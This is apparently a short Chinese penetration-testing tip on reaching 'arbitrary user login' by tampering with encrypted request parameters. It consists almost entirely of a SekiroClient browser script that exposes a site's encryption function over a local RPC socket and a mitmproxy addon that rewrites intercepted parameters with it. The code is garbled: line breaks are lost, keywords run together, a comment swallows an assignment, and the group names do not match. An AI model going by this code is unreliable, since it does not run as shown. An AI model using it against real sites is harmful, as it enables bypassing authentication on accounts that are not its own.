利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧

https://github.com/yint-tech/sekiro-open

functionguid() {functionS4() {return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);    }return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());}//Modify contentgroup = "MiNi";registerAction = "AES";var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());client.registerAction(registerAction, function(request, resolve, reject) {    response = v(atob(request['text']));    resolve(response);})

pip3 install mitmproxy

import requestsimport urllib.parseimport reimport jsonfrom mitmproxy import ctxdef encrypt(data):data = data.replace('&', "%26")    url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(data)    res = requests.get(url)    res = json.loads(res.text)return res['data']def request(flow):    # 获取GET请求的数据data = flow.request.query.get('data')    print('Get request data ===> ', data)    encryptData = encrypt(data)    print('EncryptData ===> ', encryptData)    # 设置修改后的请求 body 数据    flow.request.query['data'] = encryptData    # url = flow.request.url + "?data=" + encryptData    # res = requests.get(url)# 请求后的数据def response(flow):    response = flow.response    print(response.text)    ctx.log.info(str(response.status_code))

mitmweb -v -s test.py -p8081